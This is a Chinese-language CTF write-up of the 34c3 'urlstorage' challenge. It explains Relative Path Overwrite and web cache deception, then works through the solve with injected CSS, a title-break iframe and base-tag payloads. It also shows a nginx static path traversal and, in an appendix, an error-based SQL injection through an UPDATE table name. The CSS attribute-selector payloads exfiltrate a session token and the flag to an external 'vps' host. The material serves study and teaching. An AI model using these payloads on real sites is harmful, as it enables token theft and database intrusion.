从一道34c3题目看RPO

  ctf

0x00前言

距离34c3比赛已近过去了几个月了,这个比赛的质量在CTF中还是数一数二的,该欠的还是要还,因此将环境重现出来进行学习,本次只对urlstorage进行研究,其他的实在做不来indecision

 

0x01RPO

RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。一般是因为Apache 配置错误导致AllowEncodedSlashes这个选项开启(对Apache来说默认情况下 AllowEncodedSlashes 这个选项是关闭的),或者nginx服务器。同时也是存在相对路径的js或者css的引用。

对于同样的url,apache和nginx就出现完全不一样的结果,在相同目录建立两个相同的html文件,因为nginx上面没有配置php所以就用html替一下一样的啦

 

apache不显示,nginx却显示出路径

可以清楚地看到对于完全相似的URL,不同的服务器的处理方式是不同的:Apache服务器默认情况下不认识..%2f这个符号,认为..%2fapache.php是一个文件

    http://localhost/RPO/..%2fapache.php  ==   ..%2fapache.php  

所以没有找到。

但是Nginx不同,它能自动地把..%2f进行url解码,转化为../ 这个符号对于服务器来说就是向前跳转一个目录,在它眼中我们请求的就是

    http://localhost/RPO/..%2fnginx.html ==  http://localhost/nginx.html

于是就访问到了我们RPO目录下的nginx.html。

因此,我们可以跨目录执行执行js脚本,也就是说当我们将脚本放在同目录的不同环境下,在站点引用的js为相对环境的同时我们可以使用相对路径进行攻击。例如,我们写一个html放在根目录下

   <!DOCTYPE html>

    <html>

        <title>RPO attack test</title>

        <body>

            <script src="rpo.js"></script>

        </body>

    </html>

写入一个rpo.js的js脚本

alert('succeesful attack')

将js放在RPO目录下,样式大致为下

├─index.html
│  ├─rpo
│      └─rpo.js

输入url http://192.168.0.133/rpo/..%2findex.html则触发payload

此时nginx服务接受的是

http://192.168.0.133/rpo/../index.html

则转化为

http://192.168.0.133/index.html

进行读取,而此时脚本的目录则加载同目录下的脚本文件,因此文件在同等根目录下,因此浏览器会认为..%2findex.html是一个页面,因此就会加载下面的脚本位置

http://192.168.0.133/rpo/rop.js

web缓存投毒

同时也叫缓存欺骗(Web Cache Deception),其核心是攻击者去欺骗缓存服务器,让他缓存了本来不应该缓存的页面,导致敏感信息泄露。这里使用p神的解读,通过一个简单的nginx缓存服务器

http {
    # ...
    proxy_cache_path  /data/nginx/cache  levels=1:2    keys_zone=STATIC:20m
    inactive=24h  max_size=1g;
    server {
        # ...
        
    	location \.(css|js|jpeg|jpg|png|gif)$ {
    	    proxy_pass             http://10.0.0.1;
            proxy_set_header       Host $host;
            proxy_buffering        on;
            proxy_cache            STATIC;
            proxy_cache_valid      200  1d;
    	}

        location / {
            proxy_pass             http://10.0.0.1;
            proxy_set_header       Host $host;
        }
    }
}

这个配置大致是Nginx将数据包反向代理到内网的服务器10..0.0.1中,并根据请求的PATH,将请求分成两种类型:当后缀是静态文件(包括css、js和图片)时,Nginx将开启缓存,并设置当响应status是200的时候缓存1天时间;其他情况下,不使用缓存。假设10.0.0.1所在的服务器是一个php开发点,用户访问http://10.10.10.1/profile.php既可以查看自己的个人信息,因为php是支持一种叫做`PATH_INFO`的CGI变量的,也就是当用户请求一个已存在的PHP脚本时,在后面加上`/DATA`,从`/`开始的数据将会保存在`$_SERVER['PATH_INFO']`中。

但是当用户请求了http://10.10.10.1/profile.php/test.css的时候用户实际访问的是profile.php页面,但其PATH却是`/profile.php/test.css`。此时,后端返回的是用户的个人信息页面,然而Nginx会认为这是一个静态文件,并将其内容缓存下来。就是说,这个用户的个人信息被保存在缓存服务器中。此时,其他用户再次访问`/profile.php/test.css`的时候,将可以看到这些信息,导致了信息泄露漏洞。这里有一个相关的视频(需要科学上网)

 

0x02题目环境搭建

让我们来实践一下。在eboda的github上面下载下来题目,正好了解一下docker,以便后续的学习

build

docker build [OPTIONS] PATH | URL | -

部分的基本参数为

--build-arg=[] :设置镜像创建时变量

--file,-f :指定要使用的docker路径

--platform: 设置设置平台如果服务器有多平台的话

--pull  总是使用最新的镜像

--quit,-q:成功时,不打印出镜像ID

--tag , -t :为镜像命名,格式为 'name:tag' 类型

--target : 设置需要创建的目标

run

docker run [OPTIONS] IMAGE[:TAG|@DIGEST] [COMMAND] [ARG...]

一些常用的命令为

-a  stdin: 指定标准输出内容类型

-d  :后台运行,并返回容器ID

-i: 以交互式模式运行,通常与-t一起使用

-t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;

-p:端口映射,通常格式为 主机(宿主机端口):容器端口

-P:随机分配端口

--name :为容器指定一个名字

-m :设置容器使用最大值

在urlstorage目录下运行docker build  -t christa/34c3命令,然后等待完成后输入docker ruin --rm -d 31337:80 --name chrsita_34c3  christa/34c3运行容器,运行docker ps查看容器运行情况,如下即成功

root@34c3:~# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                               NAMES
22e6fe7b5198        eboda/urlstorage    "/bin/sh -c 'service…"   22 hours ago        Up 22 hours         0.0.0 .0:31337->80/tcp   urlstorage    

Dockerfile的话之后再学吧...

 

0x03 urlstorage

打开题目,登陆之后,发现一个储存url的地方

F12检查元素发现了CSP规则,放入CSP检查网站后得到

从CSP语法来看,该站点能使用javascript的脚本,先留着,继续往后,发现该站点为Djano所写,并且使用nginx,静态文件是相对路用

如图所见,相对路径调用css,并且网站为Django所写,在路由器配置中,只要当前路径正确,后面的连接路径输入任意值都会返回当前路径,这时我们就可以试试RPO攻击了,众所周知,css在执行文件的时候会将错误的语法进行跳过,因此我们使用如下的语句储存在url中

%0a{}%0a*{color:green}

访问/任意字符串外加static/css/milligram.min.css得到如下反馈

同时flag?token={}页面下也有如下问题,我们尝试一下payload,得到反馈

</title><iframe/src/=//vps/christa>

终端上也有显示

因此,我们使用payload

a[href^=flag\?token\=0]{background: url(//vps?c=0);}
a[href^=flag\?token\=1]{background: url(//vps?c=1);}
...
a[href^=flag\?token\=f]{background: url(//vps?c=f);}

大致意思为,如果token符合的话,服务器将会向我的vps申请一张图片,当第一位数得到之后,我们继续请求第二位数

a[href^=flag\?token\=10]{background: url(//vps?c=10);}
a[href^=flag\?token\=11]{background: url(//vps?c=11);}
...
a[href^=flag\?token\=1f]{background: url(//vps?c=1f);}

但是服务端每次访问都会重新登陆一次,每次重新登陆都会刷新token,所以题目在contact页面还给出了一个脚本pow.py,使服务端会有30s时间来访问我们的所有url,这样我们就有足够的时间拿到服务端的32位[0-9a-f]的token。

在拿到token之后,因为在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了base标签,那么就会读取base标签中的url作为base url。,flag页面的参数为24为可控,我们可以引入urlstorage作为base标签,这样css任然会加载urlstorage的所有内容,就可以继续使用RPO进行探测.

http://108.61.177.177:31337/flag?token=f50bdebec74824a98dbe4553157616b6</title><base/href=/urlstorage/

在使用css获取flag时,字符串首位不会被识别,因此使用双引号包裹,但双引号被转义,因此使用*来替换

#flag[value*=C3_1]{background: url(//vps/C3_1);}
#flag[value*=C3_0]{background: url(//vps/C3_1);}
..
#flag[value*=C3_f]{background: url(//vps/C3_1);}

30s得到32位token和40位的flag

最终flag为

 flag{34C3_d163c315ddc5458d329d6f4a617ce6d5358145cb}

非预期解

此题目因为nginx配置出错,导致出来任意目录读取,在路径http://108.61.177.177:31337/static../views.py

因此在template的目录下可以读到flag的配置

0x04 彩蛋

逛一逛paper的文章,发现一个SQL注入小题目,读一下源码

<?php
$link = mysqli_connect('localhost', 'root', 'passwd','tb');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}` 
        SET `name`='admin'
        WHERE nid=4";
if(!mysqli_query($link, $sql)) {
    echo(mysqli_error($link));
}
mysqli_close($link);
?>

一个update的注入,发现SQL语句不是直接拼凑在后面的东西,不为一行代码的东西,因此所以不能用单行注释把后面的语句注释掉,同时又有addslashes函数的存在,因此',",\等都不存在,因此只能在UPDATE {$table}里面进行注入了,看下面一个查询语句

UPDATE student D
  LEFT JOIN (SELECT 
        B.studentId,
                SUM(B.score) AS s_sum,
                ROUND(AVG(B.score),1) AS s_avg
           FROM score B
          WHERE b.examTime >= '2015-03-10'
          GROUP BY B.studentId) C
    ON (C.studentId = D.id)

   SET D.score_sum = c.s_sum,
       D.score_avg = c.s_avg
 WHERE D.id = 
       (
         SELECT 
        E.id FROM 
        (
                  SELECT 
                DISTINCT a.studentId AS id
                    FROM score A
                   WHERE A.examTime >= '2015-03-10'
                ) E 
          WHERE E.id = D.id
       )
   AND d.age = 1;

可以看到在update语句后面使用left join进行了查询,但update同时不能出现一个表中的相同列名,因此使用Mysql的一个虚标dual构造一下下面的语句

update `table` t left join (select ‘1’ as user from dual) tt on tt.user=t.username set name='admin' where nid=4;

用select ‘1’ as user from dual 把’1’这个字段重命名是要满足后面on的条件,及:on tt.user=t.username 而且这里要用‘1’而不是用数字是因为tale表里面的username类型是varchar类型 执行后面发现可以正常更新,也就是说成功的引入了一个子查询在我想要的地方,那么后面的事情就简单很多了,直接引入一个报错注入的语句在子查询里面就可以进行查询,因为引号转义以及反引号无法闭合,因此将单引号位置用char替代即可,因此语句为

UPDATE `tb1` t 
   left join (select char(97) as user 
       from dual 
    where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt 
      on 
    tt.user=`t.username
set name = 'admin'
where nid=4;

注入成功

 

Reference

  1. https://docs.docker.com/engine/reference/commandline/build/
  2. https://docs.docker.com/engine/reference/run/
  3. https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/
  4. https://paper.seebug.org/493/#writeup
  5. https://www.freebuf.com/articles/web/166731.html
  6. https://portswigger.net/blog/practical-web-cache-poisoning
  7. https://paper.seebug.org/216/